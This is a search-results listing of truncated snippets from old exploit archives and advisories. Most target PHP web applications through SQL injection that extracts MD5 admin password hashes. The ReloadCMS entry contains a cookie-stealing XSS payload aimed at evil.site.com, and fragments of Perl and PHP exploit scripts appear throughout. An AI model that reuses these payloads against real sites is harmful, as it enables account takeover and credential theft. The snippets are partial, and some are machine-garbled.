122 matches found
MD5 decrypt of the most fast method-vulnerability warning-the black bar safety net
In General, shaped like a 1e4dc79d489e86b2 the 1 6-bit or 3 2-bit password is the MD5 encrypted, of course, there are also special, such as the DVBBS on the landing when will first produce a 1 6-bit random password,of course, the password or the MD5 password in the form of a little difference, th...
PHP-Nuke <= All Version Administrator SQL Injection Exploit / By WiLdBoY
PHP-Nuke = All Version Administrator SQL Injection Exploit / By WiLdBoY Credit : WiLdBoY Server Adress: Example : http://www.sitename.com Admin Name: Example : Admin Password MD5: Example : 1ea52f26e7e0ce08e462f87f5e35096c ------------------------------ User Information.... Name: Example : Michal...
DbbS<=2.0-alpha Multiple Vulnerabilities
Special thanks to rgod for his help!!! Full path disclosure http://www.site.com/DbbS/topics.php?fcategoryid=' http://www.site.com/DbbS/script.php?unavariabile= http://www.site.com/DbbS/script.php?GLOBALS= http://www.site.com/DbbS/script.php?SERVER= MD5 Password...
ReloadCMS-1.2.5.txt
nc target.host.com 80 GET /pathtoreloadcms/ HTTP/1.0 User-Agent: "window.open"http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL;window.close; Host: target.host.com Connection: Close So, when admin see site statistics through the administration panel, javascript will run Once...
ReloadCMS <= 1.2.5stable Cross site scripting / remote command execution
?php / ReloadCMS = 1.2.5stable Cross site scripting / remote command execution software site: http://reloadcms.com/ description: "ReloadCMS is a free CMS written on PHP and based on flat files." vulnerability: ReloadCMS do not properly sanitize User-Agent request header before to store it in...
Nodez <= 4.6.1.1 Mercury Multiple Remote Vulnerabilities
Exploit for unknown platform in category web applications ======================================================== Nodez = 4.6.1.1 Mercury Multiple Remote Vulnerabilities ======================================================== !/usr/bin/php -q -d shortopentag=on ? echo "Nodez 4.6.1.1 Mercury...
Improper access control
Noah Medling RCBlog 1.03 stores the data and config directories under the web root with insufficient access control, which allows remote attackers to view account names and MD5 password hashes...
CVE-2006-0370
Noah Medling RCBlog 1.03 stores the data and config directories under the web root with insufficient access control, which allows remote attackers to view account names and MD5 password hashes...
CVE-2006-0370
Noah Medling RCBlog 1.03 stores the data and config directories under the web root with insufficient access control, which allows remote attackers to view account names and MD5 password hashes...
Dev Web Management System 1.5 - cat SQL Injection
Dev Web Management System 1.5 - cat SQL Injection this works regardless of magicquotesgpc setting usage: launch from Apache, fill in requested fields, then go! Sun-Tzu: "Prohibit the taking of omens, and do away with superstitious doubts. Then, until death itself comes, no calamity need be feared...
Unclassified NewsBoard 1.5.3 Patch 3 - Blind SQL Injection
Unclassified NewsBoard 1.5.3pl3 blind SQL injection...
My Little Forum 1.5 - SearchString SQL Injection
My Little Forum 1.5 - SearchString SQL Injection ?php mlfexpl.php My Little Forum 1.5 possibly prior versions SQL Injection / MD5 password hash disclosure poc exploit with proxy support by rgod site: http://rgod.altervista.org make these changes in php.ini if you have troubles to launch this...
My Little Forum <= 1.5 (searchstring) SQL Injection Exploit
No description provided by source. ?php mlfexpl.php My Little Forum 1.5 possibly prior versions SQL Injection / MD5 password hash disclosure poc exploit with proxy support by rgod site: http://rgod.altervista.org make these changes in php.ini if you have troubles to launch this script:...
My Little Forum <= 1.5 (searchstring) SQL Injection Exploit
Exploit for unknown platform in category web applications =========================================================== My Little Forum = 1.5 searchstring SQL Injection Exploit =========================================================== ?php mlfexpl.php My Little Forum 1.5 possibly prior versions S...
SQL Injection Exploit for Portail PHP < 1.3
!/usr/bin/perl -w SQL Injection Exploit for Portail PHP 1.3 This exploit show the username of the administrator of the portal and his password crypted in MD5 Related advisory: http://www.securityfocus.com/archive/1/398728/2005-05-21/2005-05-27/0 Coded by Alberto Trivero use LWP::Simple; print...
Portail PHP 1.3 - SQL Injection
Portail PHP 1.3 - SQL Injection !/usr/bin/perl -w SQL Injection Exploit for Portail PHP .? / && print "+ Username of administrator is: $1\n"; print "- Unable to retrieve username\n" if!$1; $page=m/ : .?/ && print "+ MD5 hash of password is: $1\n"; print "- Unable to retrieve hash of password\n"...
siteman.noam.txt
!/usr/bin/perl -w Exploit by Noam Rathaus - Beyond Security Ltd. Exploit for the SiteMan vulnerability discovered by: "amironline452" use Digest::MD5 qwmd5 md5hex md5base64; use IO::Socket; use strict; ./siteman.pl / vulnerable.host my $Path = shift; my $Host = shift; my $Username = shift; my...
Pivot 1.20 Beta 3 - admin & shell
oooo oooo oooooooo8 ooooooooooo 8888o 88 888 88 888 88 88 888o88 888oooooo 888 88 8888 888 888 o88o 88 o88oooo888 o888o Network security team nst.e-nex.com Title: Pivot 1.20 Beta 3 - admin & shell Bug found by: тёмыч Date: 9.12.2004 Pivot 1.20 Beta 3 script author: http://www.pivotlog.net google:...
phpBB206.txt
phpBB v2.06 searchid sql injection exploit -Hat-Squad Security Team- Using this query you will get MD5 password hash for useruid as highlight variable for viewtopic.php in search results page.Works with mysql4. http://site.com/search.php?searchid=1%20union%20select%20concatchar...
ZH2003-12SA.txt
ZH2003-12SA security advisory: PHP-Gästebuch Ver. 1.60 Beta Published: 23/07/2003 Released: 23/07/2003 Name: PHP-Gästebuch http://www.php-gaestebuch.de Affected Systems: All versions ? Severity: Medium/High Platforms: Windows and Unix Original Advisory:...